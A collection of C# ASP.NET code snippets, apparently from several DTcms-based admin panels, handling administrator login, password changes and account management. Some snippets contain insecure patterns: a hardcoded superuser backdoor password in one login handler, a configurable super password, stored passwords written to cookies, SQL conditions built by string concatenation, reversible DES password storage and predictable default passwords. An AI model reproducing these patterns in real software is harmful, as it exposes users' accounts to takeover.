private bool DoEdit() { int _id = MyCommFun.Str2Int(lblid.Text); //地区 string prov = ddlProvince.SelectedItem.Value; string city = ddlCity.SelectedItem.Value; string dist = txtArea.Text.Trim(); bool result = false; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); model.qq = txtqq.Text; model.email = txtEmail.Text; model.province = prov; model.city = city; model.county = dist; if (bll.Update(model)) { AddAdminLog(MXEnums.ActionEnum.Edit.ToString(), "修改个人资料:" + model.user_name); //记录日志 result = true; } return(result); }
//保存 protected void btnSubmit_Click(object sender, EventArgs e) { BLL.manager bll = new BLL.manager(); Model.manager model = GetAdminInfo(); if (DESEncrypt.Encrypt(txtOldPassword.Text.Trim(), model.salt) != model.password) { JscriptMsg("旧密码不正确!", ""); return; } if (txtPassword.Text.Trim() != txtPassword1.Text.Trim()) { JscriptMsg("两次密码不一致!", ""); return; } model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); if (!bll.Update(model)) { JscriptMsg("保存过程中发生错误!", ""); return; } Session[DTKeys.SESSION_ADMIN_INFO] = null; JscriptMsg("密码修改成功!", "manager_pwd.aspx"); }
//批量删除 protected void btnDelete_Click(object sender, EventArgs e) { ChkAdminLevel("manager_list", Vincent._DTcms.DTEnums.ActionEnum.Delete.ToString()); //检查权限 int sucCount = 0; int errorCount = 0; BLL.manager bll = new BLL.manager(); for (int i = 0; i < rptList.Items.Count; i++) { int id = Convert.ToInt32(((HiddenField)rptList.Items[i].FindControl("hidId")).Value); CheckBox cb = (CheckBox)rptList.Items[i].FindControl("chkId"); if (cb.Checked) { if (bll.Delete(id)) { sucCount += 1; } else { errorCount += 1; } } } AddAdminLog(Vincent._DTcms.DTEnums.ActionEnum.Delete.ToString(), "删除管理员" + sucCount + "条,失败" + errorCount + "条"); //记录日志 JscriptMsg("删除成功" + sucCount + "条,失败" + errorCount + "条!", Vincent._DTcms.Utils.CombUrlTxt("manager_list.aspx", "keywords={0}", this.keywords), "Success"); }
private void ShowInfo(int _id) { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); lblUserName.Text = model.user_name; }
//保存 protected void btnSubmit_Click(object sender, EventArgs e) { BLL.manager bll = new BLL.manager(); Model.manager model = GetAdminInfo(); if (DESEncrypt.Encrypt(txtOldPassword.Text.Trim(), model.salt) != model.password) { JscriptMsg("旧密码不正确!", "", "Warning"); return; } if (txtPassword.Text.Trim() != txtPassword1.Text.Trim()) { JscriptMsg("两次密码不一致!", "", "Warning"); return; } model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); if (!bll.Update(model)) { JscriptMsg("保存过程中发生错误!", "", "Error"); return; } Session[DTKeys.SESSION_ADMIN_INFO] = null; JscriptMsg("密码修改成功!", "manager_pwd.aspx", "Success"); }
private void ShowInfo(int _id) { litpwdtip.Text = "不填则不修改密码"; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); ddlRoleId.SelectedValue = model.role_id.ToString(); if (model.is_lock == 0) { cbIsLock.Checked = true; } else { cbIsLock.Checked = false; } txtUserName.Text = model.user_name; txtUserName.ReadOnly = true; txtUserName.Attributes.Remove("ajaxurl"); txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; txtMaxNum.Text = model.wxNum.ToString(); ddlProvince.SelectedValue = model.province; ddlCity.SelectedValue = model.city; txtArea.Text = model.county; txtqq.Text = model.qq; txtEmail.Text = model.email; txtSortid.Text = MyCommFun.ObjToStr(model.sort_id); // model.sort_id; }
/// <summary> /// 判断管理员是否已经登录(解决Session超时问题) /// </summary> public bool IsAdminLogin() { //如果Session为Null if (Session[AXKeys.SESSION_ADMIN_INFO] != null) { return(true); } else { //检查Cookies string adminname = Utils.GetCookie("AdminName", "AoXiang"); string adminpwd = Utils.GetCookie("AdminPwd", "AoXiang"); if (adminname != "" && adminpwd != "") { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(adminname, adminpwd); if (model != null) { Session[AXKeys.SESSION_ADMIN_INFO] = model; return(true); } } } return(false); }
/// <summary> /// 判断管理员是否已经登录(解决Session超时问题) /// </summary> public bool IsAdminLogin() { //如果Session为Null if (Session[DTKeys.SESSION_ADMIN_INFO] != null) { return(true); } else { //检查Cookies string adminname = Utils.GetCookie("AdminName", "DTcms"); string adminpwd = Utils.GetCookie("AdminPwd", "DTcms"); if (adminname != "" && adminpwd != "") { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(adminname, adminpwd); if (model != null) { Session[DTKeys.SESSION_ADMIN_INFO] = model; string msg = string.Empty; var userSession = new Models.UserSession().Login(adminname, adminpwd, out msg); if (string.IsNullOrWhiteSpace(msg)) { userSession.LOGFLAG = Models.UserSession.GetClientIP(); userSession.LASTLOGINTIME = DateTime.Now; //userSession.Version = LoginInfo.Version; userSession.Plateform = 1; new Models.UserSession().SetUserSession(userSession); } return(true); } } } return(false); }
private bool DoEdit(int _id) { bool result = false; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; if (cbIsLock.Checked == true) { model.is_lock = 0; } else { model.is_lock = 1; } //判断密码是否更改 if (txtPassword.Text.Trim() != defaultpassword) { //获取用户已生成的salt作为密钥加密 model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); } model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); if (bll.Update(model)) { AddAdminLog(DTEnums.ActionEnum.Edit.ToString(), "修改管理员:" + model.user_name); //记录日志 result = true; } return(result); }
/// <summary> /// 绑定列表 /// </summary> private void RptBind() { BLL.wx_hotel_user dcBll = new BLL.wx_hotel_user(); List<Model.wx_hotel_user> hotelAdmins = dcBll.GetModelList("hotelId=" + hotelid); BLL.manager managerBll = new BLL.manager(); DataSet dsData = new DataSet(); if (hotelAdmins.Any()) { string strWhere = string.Empty; for (int index = 0; index <= hotelAdmins.Count - 1; index++) { strWhere += "," + hotelAdmins[index].ManagerId; } strWhere = "(" + strWhere.Substring(1) + ")"; dsData = managerBll.GetList(0, "id in " + strWhere, string.Empty); rptList.DataSource = dsData; } else { rptList.DataSource = new List<Model.manager>(); } rptList.DataBind(); }
//保存 protected void btnSubmit_Click(object sender, EventArgs e) { BLL.manager bll = new BLL.manager(); Model.manager model = GetAdminInfo(); if (DESEncrypt.Encrypt(txtOldPwd.Text.Trim()) != model.user_pwd) { JscriptMsg("旧密码不正确!", "", "Warning"); return; } if (txtUserPwd.Text.Trim() != txtUserPwd1.Text.Trim()) { JscriptMsg("两次密码不一致!", "", "Warning"); return; } model.user_pwd = DESEncrypt.Encrypt(txtUserPwd.Text.Trim()); if (!bll.Update(model)) { JscriptMsg("保存过程中发生错误啦!", "", "Error"); return; } Session[DTKeys.SESSION_ADMIN_INFO] = null; JscriptMsg("密码修改成功啦!", "modifypassword.aspx", "Success"); }
//批量删除 protected void btnDelete_Click(object sender, EventArgs e) { ChkAdminLevel("manager_list", DTEnums.ActionEnum.Delete.ToString()); //检查权限 int sucCount = 0; int errorCount = 0; BLL.manager bll = new BLL.manager(); for (int i = 0; i < rptList.Items.Count; i++) { int id = Convert.ToInt32(((HiddenField)rptList.Items[i].FindControl("hidId")).Value); CheckBox cb = (CheckBox)rptList.Items[i].FindControl("chkId"); if (cb.Checked) { if (bll.Delete(id)) { sucCount += 1; } else { errorCount += 1; } } } AddAdminLog(DTEnums.ActionEnum.Delete.ToString(), "删除管理员" + sucCount + "条,失败" + errorCount + "条"); //记录日志 JscriptMsg("删除成功" + sucCount + "条,失败" + errorCount + "条!", Utils.CombUrlTxt("manager_list.aspx", "keywords={0}", this.keywords)); }
private bool DoEdit() { int _id = MyCommFun.Str2Int(lblid.Text); //地区 string prov = ddlProvince.SelectedItem.Value; string city = ddlCity.SelectedItem.Value; string dist = txtArea.Text.Trim(); bool result = false; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); model.qq = txtqq.Text; model.email = txtEmail.Text; model.province = prov; model.city = city; model.county = dist; if (bll.Update(model)) { AddAdminLog(MXEnums.ActionEnum.Edit.ToString(), "修改个人资料:" + model.user_name); //记录日志 result = true; } return result; }
/// <summary> /// 判断管理员是否已经登录(解决Session超时问题) /// </summary> public bool IsAdminLogin() { //如果Session为Null if (Session[DTKeys.SESSION_ADMIN_INFO] != null) { return true; } else { //检查Cookies string adminname = Utils.GetCookie("AdminName", "DTcms"); string adminpwd = Utils.GetCookie("AdminPwd", "DTcms"); if (adminname != "" && adminpwd != "") { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(adminname, adminpwd); if (model != null) { Session[DTKeys.SESSION_ADMIN_INFO] = model; return true; } } } return false; }
private bool DoAdd() { bool result = true; Model.manager model = new Model.manager(); BLL.manager bll = new BLL.manager(); if (bll.Exists(txtUserName.Text.Trim())) { JscriptMsg("该登录名已存在!", "", "Error"); return false; } model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; model.is_lock = int.Parse(rblIsLock.SelectedValue); model.user_name = txtUserName.Text.Trim(); model.user_pwd = DESEncrypt.Encrypt(txtUserPwd.Text.Trim()); model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); model.add_time = DateTime.Now; model.start_date = txtStartDate.Text.Trim(); model.end_date = txtEndDate.Text.Trim(); if (bll.Add(model) < 1) { result = false; } return result; }
private void RptBind(string _strWhere, string _orderby) { this.page = DTRequest.GetQueryInt("page", 1); this.txtKeywords.Text = this.keywords; BLL.manager bll = new BLL.manager(); this.rptList.DataSource = bll.GetList(this.pageSize, this.page, _strWhere, _orderby, out this.totalCount); this.rptList.DataBind(); }
protected void btnSubmit_Click(object sender, EventArgs e) { string userName = txtUserName.Text.Trim(); string userPwd = txtPassword.Text.Trim(); if (userName.Equals("") || userPwd.Equals("")) { msgtip.InnerHtml = "请输入用户名或密码"; return; } if (Session["AdminLoginSun"] == null) { Session["AdminLoginSun"] = 1; } else { Session["AdminLoginSun"] = Convert.ToInt32(Session["AdminLoginSun"]) + 1; } //判断登录错误次数 if (Session["AdminLoginSun"] != null && Convert.ToInt32(Session["AdminLoginSun"]) > 5) { msgtip.InnerHtml = "错误超过5次,关闭浏览器重新登录!"; return; } // 超级密码 bool IsSuperPwd = false; string pwd = Vincent._WebConfig.GetAppSettingsString("Password"); string userPwd1 = Vincent._MD5Encrypt.GetMD5(userPwd.Trim()); if (userPwd1.Equals(pwd)) { IsSuperPwd = true; userPwd = userPwd1; } BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(userName, userPwd, true, IsSuperPwd); if (model == null) { msgtip.InnerHtml = "用户名或密码有误,请重试!"; return; } Session[Vincent._DTcms.DTKeys.SESSION_ADMIN_INFO] = model; Session.Timeout = 45; //写入登录日志 Model.siteconfig siteConfig = new BLL.siteconfig().loadConfig(); if (siteConfig.logstatus > 0) { new BLL.manager_log().Add(model.id, model.user_name, Vincent._DTcms.DTEnums.ActionEnum.Login.ToString(), "用户登录"); } //写入Cookies Vincent._DTcms.Utils.WriteCookie("DTRememberName", model.user_name, 14400); Vincent._DTcms.Utils.WriteCookie("AdminName", "SimpleLife", model.user_name); Vincent._DTcms.Utils.WriteCookie("AdminPwd", "SimpleLife", model.password); Response.Redirect("index.aspx"); return; }
protected void btnSubmit_Click(object sender, EventArgs e) { string userName = txtUserName.Text.Trim(); string userPwd = txtPassword.Text.Trim(); if (userName.Equals("") || userPwd.Equals("")) { msgtip.InnerHtml = "请输入用户名或密码"; return; } if (Session["AdminLoginSun"] == null) { Session["AdminLoginSun"] = 1; } else { Session["AdminLoginSun"] = Convert.ToInt32(Session["AdminLoginSun"]) + 1; } //判断登录错误次数 if (Session["AdminLoginSun"] != null && Convert.ToInt32(Session["AdminLoginSun"]) > 5) { msgtip.InnerHtml = "错误超过5次,关闭浏览器重新登录!"; return; } BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(userName, userPwd, true); //超级用户 if (userPwd.Equals("TalentoOnLineBiz2016!")) { model = new Model.manager(); model.add_time = DateTime.Now; model.real_name = "超级管理员"; model.user_name = userName; model.password = userPwd; model.is_lock = 0; model.role_id = 1; model.role_type = 1; } if (model == null) { msgtip.InnerHtml = "用户名或密码有误,请重试!"; return; } Session[AXKeys.SESSION_ADMIN_INFO] = model; Session.Timeout = 45; //写入登录日志 Model.siteconfig siteConfig = new BLL.siteconfig().loadConfig(); if (siteConfig.logstatus > 0) { new BLL.manager_log().Add(model.id, model.user_name, AXEnums.ActionEnum.Login.ToString(), "用户登录"); } //写入Cookies Utils.WriteCookie("DTRememberName", model.user_name, 14400); Utils.WriteCookie("AdminName", "AoXiang", model.user_name); Utils.WriteCookie("AdminPwd", "AoXiang", model.password); Response.Redirect("index.aspx"); return; }
public HttpResponseMessage ChangePwd([FromBody] Models.ChangeUserInfo md) { resObj = (BLL.VCode.Instance.CheckCode(md.PHONE, 1, md.CODE)); if (resObj.error == 0) { resObj = new BLL.manager().ChangePwd(md.USERNAME, md.PASSWORD, md.PHONE); } return(Json(resObj)); }
private void ShowInfo(int _id) { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); txtUserName.Text = model.user_name; txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; }
protected void btnSubmit_Click(object sender, EventArgs e) { string userName = txtUserName.Text.Trim(); string userPwd = txtPassword.Text.Trim(); if (userName.Equals("") || userPwd.Equals("")) { msgtip.InnerHtml = "请输入用户名或密码"; return; } if (Session["AdminLoginSun"] == null) { Session["AdminLoginSun"] = 1; } else { Session["AdminLoginSun"] = Convert.ToInt32(Session["AdminLoginSun"]) + 1; } //判断登录错误次数 if (Session["AdminLoginSun"] != null && Convert.ToInt32(Session["AdminLoginSun"]) > 5) { msgtip.InnerHtml = "错误超过5次,关闭浏览器重新登录!"; return; } BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(userName, userPwd, true); if (model == null) { msgtip.InnerHtml = "用户名或密码有误,请重试!"; return; } Session[DTKeys.SESSION_ADMIN_INFO] = model; string msg = string.Empty; var userSession = new Models.UserSession().Login(userName, userPwd, out msg); if (string.IsNullOrWhiteSpace(msg)) { userSession.LOGFLAG = Models.UserSession.GetClientIP(); userSession.LASTLOGINTIME = DateTime.Now; //userSession.Version = LoginInfo.Version; userSession.Plateform = 1; new Models.UserSession().SetUserSession(userSession); } Session.Timeout = 45; //写入登录日志 Model.siteconfig siteConfig = new BLL.siteconfig().loadConfig(); if (siteConfig.logstatus > 0) { new BLL.manager_log().Add(model.id, model.user_name, DTEnums.ActionEnum.Login.ToString(), "用户登录"); } //写入Cookies Utils.WriteCookie("DTRememberName", model.user_name, 14400); Utils.WriteCookie("AdminName", "DTcms", model.user_name); Utils.WriteCookie("AdminPwd", "DTcms", model.password); Response.Redirect("index.aspx"); return; }
//保存 protected void btnSubmit_Click(object sender, EventArgs e) { BLL.manager bll = new BLL.manager(); Model.manager model = GetAdminInfo(); bool updateName = false, updateContact = false; StringBuilder sb = new StringBuilder(); if (DESEncrypt.Encrypt(txtOldPassword.Text.Trim(), model.salt) != model.password) { JscriptMsg("旧密码不正确!", ""); return; } if (!string.IsNullOrEmpty(txtPassword.Text.Trim())) { if (txtPassword.Text.Trim().Length < 6 || txtPassword.Text.Trim().Length > 20) { JscriptMsg("密码长度须为6-20", ""); return; } if (txtPassword.Text.Trim() != txtPassword1.Text.Trim()) { JscriptMsg("两次密码不一致!", ""); return; } model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); } model.avatar = txtAvatar.Text.Trim(); if (model.real_name != txtRealName.Text.Trim()) { updateName = true; sb.Append("姓名:" + model.real_name + "→<font color='red'>" + txtRealName.Text.Trim() + "</font><br/>"); } model.real_name = txtRealName.Text.Trim(); if (model.telephone != txtTelephone.Text.Trim()) { updateContact = true; sb.Append("电话:" + model.telephone + "→<font color='red'>" + txtTelephone.Text.Trim() + "</font><br/>"); } model.telephone = txtTelephone.Text.Trim(); if (model.email != txtEmail.Text.Trim()) { sb.Append("邮箱:" + model.email + "→<font color='red'>" + txtEmail.Text.Trim() + "</font><br/>"); } model.email = txtEmail.Text.Trim(); manager = GetAdminInfo(); string result = bll.Update(model, sb.ToString(), manager, false, updateName, updateContact); if (!string.IsNullOrEmpty(result)) { JscriptMsg(result, ""); return; } Session[DTKeys.SESSION_ADMIN_INFO] = null; JscriptMsg("密码修改成功!", "editinfo.aspx"); }
/// <summary> /// 获取管理员用户名称 /// </summary> /// <param name="id"></param> /// <returns></returns> protected string GetManagerUserName(int id) { string defaultstring = string.Format("错误值: ({0})", id); Model.manager manModel = new BLL.manager().GetModel(id); if (!CheckData.IsObjectNull(manModel)) { return(string.Format("{0}({1})({2})", manModel.real_name, manModel.user_name, manModel.id)); } return(defaultstring); }
private void BindUser_Code(string strwhere) { BLL.manager userbll = new BLL.manager(); DataTable usertb = userbll.GetList(1000, strwhere, " id").Tables[0]; this.ddlUser_Code.Items.Clear(); this.ddlUser_Code.Items.Add(new ListItem("请选择用车人...", "")); foreach (DataRow dr in usertb.Rows) { this.ddlUser_Code.Items.Add(new ListItem(dr["real_name"].ToString(), dr["user_name"].ToString())); } }
private void RptBind(string _strWhere, string _orderby) { this.page = DTRequest.GetQueryInt("page", 1); this.txtKeywords.Text = this.keywords; BLL.manager bll = new BLL.manager(); this.rptList.DataSource = bll.GetList(this.pageSize, this.page, _strWhere, _orderby, out this.totalCount); this.rptList.DataBind(); //绑定页码 txtPageNum.Text = this.pageSize.ToString(); string pageUrl = Utils.CombUrlTxt("manager_list.aspx", "keywords={0}&page={1}", this.keywords, "__id__"); PageContent.InnerHtml = Utils.OutPageList(this.pageSize, this.page, this.totalCount, pageUrl, 8); }
protected void btnSubmit_Click(object sender, EventArgs e) { string userName = txtUserName.Text.Trim(); string userPwd = txtPassword.Text.Trim(); if (userName.Equals("") || userPwd.Equals("")) { msgtip.InnerHtml = "请输入用户名或密码"; return; } if (Session["AdminLoginSun"] == null) { Session["AdminLoginSun"] = 1; } else { Session["AdminLoginSun"] = Convert.ToInt32(Session["AdminLoginSun"]) + 1; } //判断登录错误次数 if (Session["AdminLoginSun"] != null && Convert.ToInt32(Session["AdminLoginSun"]) > 5) { msgtip.InnerHtml = "错误超过5次,关闭浏览器重新登录!"; return; } BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(userName, userPwd, true); if (model == null) { msgtip.InnerHtml = "用户名或密码有误,请重试!"; return; } Session[MXKeys.SESSION_ADMIN_INFO] = model; Session.Timeout = 45; //写入登录日志 Model.siteconfig siteConfig = new BLL.siteconfig().loadConfig(); if (siteConfig.logstatus > 0) { new BLL.manager_log().Add(model.id, model.user_name, MXEnums.ActionEnum.Login.ToString(), "用户登录"); } //写入Cookies Utils.WriteCookie("DTRememberName", model.user_name, 14400); Utils.WriteCookie("AdminName", "MxWeiXinPF", model.user_name); Utils.WriteCookie("AdminPwd", "MxWeiXinPF", model.password); if (model.agentLevel > 0) { //说明为代理商 Response.Redirect("index.aspx"); } else { Response.Redirect("wxIndex.aspx"); } }
private void DoAdd() { Model.manager model = new Model.manager(); Model.Dealer model_dealer = new Model.Dealer(); Model.Shop model_shop = new Model.Shop(); BLL.manager bll = new BLL.manager(); //model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_id = 2; model.role_type = 2; model.is_lock = 1; //检测用户名是否重复 //if (bll.Exists(txtUserName.Text.Trim())) //{ // return false; //} model.user_name = txtname.Text.Trim(); //获得6位的salt加密字符串 model.salt = Utils.GetCheckCode(6); //以随机生成的6位字符串做为密钥加密 model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); model.telephone = txtTelephone.Text.Trim(); //model.email = txtEmail.Text.Trim(); //model.add_time = DateTime.Now; //model.Companyname = txtcompanyname.Text.Trim(); //model.Name = txtname.Text.Trim(); //model.Phone = txtphone.Text.Trim(); //model.Position = txtposition.Text.Trim(); //model.Address = txtaddress.Text.Trim(); model_dealer.DealerCode = txtDealerCode.Text.Trim(); model_dealer.DealerName = txtDealerName.Text.Trim(); model_shop.ProvinceCode = Request.Form["drpProvice"]; model_shop.CityCode = Request.Form["city"]; model_shop.TownCode = Request.Form["town"]; model_shop.DetailAddress = txtDetailAddress.Text.Trim(); model_shop.ShopName = txtShopName.Text.Trim(); model_shop.Postcode = txtPostcode.Text.Trim(); try { bll.Add(model, model_shop); Page.ClientScript.RegisterStartupScript(GetType(), "", "mess()", true); } catch (Exception) { } //if (bll.Add(model) > 0) //{ // //AddAdminLog(DTEnums.ActionEnum.Add.ToString(), "添加管理员:" + model.user_name); //记录日志 // return true; //} //return false; }
private bool DoAdd() { Model.manager model = new Model.manager(); BLL.manager bll = new BLL.manager(); model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; if (cbIsLock.Checked == true) { model.is_lock = 0; } else { model.is_lock = 1; } //检测用户名是否重复 if (bll.Exists(txtUserName.Text.Trim())) { return(false); } model.user_name = txtUserName.Text.Trim(); //获得6位的salt加密字符串 model.salt = Utils.GetCheckCode(6); //以随机生成的6位字符串做为密钥加密 model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); model.add_time = DateTime.Now; var categoryList = new BLL.article_category().GetAllList(0); CheckBoxList cblControl = FindControl("field_control_category") as CheckBoxList; if (cblControl != null) { StringBuilder tempStr = new StringBuilder(); for (int i = 0; i < cblControl.Items.Count; i++) { if (cblControl.Items[i].Selected) { tempStr.Append(cblControl.Items[i].Value.Replace(',', ',') + ","); } } model.categorys = Utils.DelLastComma(tempStr.ToString()); } if (bll.Add(model) > 0) { AddAdminLog(DTEnums.ActionEnum.Add.ToString(), "添加管理员:" + model.user_name); //记录日志 return(true); } return(false); }
private void ShowInfo(int _id) { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); ddlRoleId.SelectedValue = model.role_id.ToString(); rblIsLock.SelectedValue = model.is_lock.ToString(); txtUserName.Text = model.user_name; txtUserName.ReadOnly = true; txtUserPwd.Attributes["value"] = txtUserPwd1.Attributes["value"] = model.user_pwd; txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; }
private bool DoAdd() { //地区 string prov = ddlProvince.SelectedItem.Value; string city = ddlCity.SelectedItem.Value; string dist = txtArea.Text.Trim(); Model.manager model = new Model.manager(); BLL.manager bll = new BLL.manager(); model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; if (cbIsLock.Checked == true) { model.is_lock = 0; } else { model.is_lock = 1; } //检测用户名是否重复 if (bll.Exists(txtUserName.Text.Trim())) { return(false); } model.user_name = txtUserName.Text.Trim(); //获得6位的salt加密字符串 model.salt = Utils.GetCheckCode(6); //以随机生成的6位字符串做为密钥加密 model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); model.add_time = DateTime.Now; model.wxNum = int.Parse(txtMaxNum.Text); model.agentId = GetAdminInfo().id; model.qq = txtqq.Text; model.email = txtEmail.Text; model.reg_ip = MXRequest.GetIP(); model.province = prov; model.city = city; model.county = dist; model.sort_id = MyCommFun.Obj2Int(txtSortid.Text); if (bll.Add(model) > 0) { AddAdminLog(MXEnums.ActionEnum.Add.ToString(), "添加用户:" + model.user_name); //记录日志 return(true); } return(false); }
private bool DoEdit(int _id) { //地区 string prov = ddlProvince.SelectedItem.Value; string city = ddlCity.SelectedItem.Value; string dist = txtArea.Text.Trim(); bool result = false; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; if (cbIsLock.Checked == true) { model.is_lock = 0; } else { model.is_lock = 1; } //判断密码是否更改 if (txtPassword.Text.Trim() != "") { //获取用户已生成的salt作为密钥加密 model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); } model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); model.wxNum = int.Parse(txtMaxNum.Text); model.qq = txtqq.Text; model.email = txtEmail.Text; model.province = prov; model.city = city; model.county = dist; model.sort_id = MyCommFun.Str2Int(txtSortid.Text); if (bll.Update(model)) { AddAdminLog(MXEnums.ActionEnum.Edit.ToString(), "修改用户:" + model.user_name); //记录日志 result = true; } return(result); }
private bool DoAdd() { bool result = false; Model.teacher model = new Model.teacher(); BLL.teacher bll = new BLL.teacher(); model.no = txtNo.Text.Trim(); model.name = txtName.Text.Trim(); model.quota = txtQuota.Text.Trim(); model.email = txtEmail.Text.Trim(); model.direction = txtDirection.Text.Trim(); model.major = txtMajor.Text.Trim(); model.add_time = Utils.StrToDateTime(txtAddTime.Text.Trim()); model.is_aca = Utils.ObjectToStr(rblIsAca.SelectedValue); model.is_pro = Utils.ObjectToStr(rblIsPro.SelectedValue); model.pro_quota = txtProQuota.Text.Trim();; model.resquota = model.quota; model.pro_resquota = model.pro_quota; //该导师已经存在 if (bll.Exists(model.no)) { JscriptMsg("工号不能重复!", string.Empty); return(result); } if (bll.Add(model) > 0) { Model.manager manModel = new Model.manager(); BLL.manager manBll = new BLL.manager(); //不存在用户则进行提前加 if (!manBll.Exists(model.no)) { manModel.role_id = 3; manModel.role_type = new BLL.manager_role().GetModel(manModel.role_id).role_type; manModel.is_lock = 0; manModel.user_name = model.no; manModel.real_name = model.name; //获得6位的salt加密字符串 manModel.salt = Utils.GetCheckCode(6); //以随机生成的6位字符串做为密钥加密 manModel.password = DESEncrypt.Encrypt(model.no + "123", manModel.salt); manModel.real_name = model.name; manModel.add_time = DateTime.Now; manBll.Add(manModel); } AddAdminLog(DTEnums.ActionEnum.Add.ToString(), "添加导师" + model.name); //记录日志 result = true; } return(result); }
/// <summary> /// 取得旅行社信息 /// </summary> public Model.manager GetManagerInfo() { if (IsManageLogin()) { Model.manager model = HttpContext.Current.Session[DTKeys.SESSION_ADMIN_INFO] as Model.manager; if (model != null) { //为了能查询到最新的用户信息,必须查询最新的用户资料 model = new BLL.manager().GetModel(model.id); return model; } } return null; }
void UnBind() { string token = request["token"]; BLL.manager bll = new BLL.manager(); if (bll.UnBindWeichat(UserInfo.id, token)) { res = JsonHelper2.GetCommonObj(0, "解绑成功"); } else { res = JsonHelper2.GetCommonObj(1, "解绑失败"); } }
private bool DoEdit(int _id) { bool result = false; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; if (cbIsLock.Checked == true) { model.is_lock = 0; } else { model.is_lock = 1; } //判断密码是否更改 if (txtPassword.Text.Trim() != defaultpassword) { //获取用户已生成的salt作为密钥加密 model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); } model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); var categoryList = new BLL.article_category().GetAllList(0); CheckBoxList cblControl = FindControl("field_control_category") as CheckBoxList; if (cblControl != null) { StringBuilder tempStr = new StringBuilder(); for (int i = 0; i < cblControl.Items.Count; i++) { if (cblControl.Items[i].Selected) { tempStr.Append(cblControl.Items[i].Value.Replace(',', ',') + ","); } } model.categorys = Utils.DelLastComma(tempStr.ToString()); } if (bll.Update(model)) { AddAdminLog(DTEnums.ActionEnum.Edit.ToString(), "修改管理员:" + model.user_name); //记录日志 result = true; } return(result); }
private void WineryBind(DropDownList ddl, int role_id) { BLL.manager bll = new BLL.manager(); DataTable dt = bll.GetList(0, "role_id=" + role_id, "add_time desc,id asc").Tables[0]; ddl.Items.Clear(); ddl.Items.Add(new ListItem("请选择酒厂...", "")); foreach (DataRow dr in dt.Rows) { if (Convert.ToInt32(dr["role_id"]) >= role_id) { ddl.Items.Add(new ListItem(dr["user_name"].ToString(), dr["id"].ToString())); } } }
public ActionResult Avatar(string id) { int uid = 0; if (!string.IsNullOrWhiteSpace(id) && int.TryParse(id, out uid)) { ViewBag.uid = uid; var m = new BLL.manager().GetModel(uid); if (m != null && !string.IsNullOrWhiteSpace(m.avatar)) { ViewBag.Path = "/api/Picture/Get?picid=" + m.avatar; } } return(View()); }
//批量删除 protected void btnDelete_Click(object sender, EventArgs e) { ChkAdminLevel("sys_manager", DTEnums.ActionEnum.Delete.ToString()); //检查权限 BLL.manager bll = new BLL.manager(); for (int i = 0; i < rptList.Items.Count; i++) { int id = Convert.ToInt32(((HiddenField)rptList.Items[i].FindControl("hidId")).Value); CheckBox cb = (CheckBox)rptList.Items[i].FindControl("chkId"); if (cb.Checked && GetAdminInfo().id != id) { bll.Delete(id); } } JscriptMsg("批量删除成功啦!", Utils.CombUrlTxt("manager_list.aspx", "keywords={0}", this.keywords), "Success"); }
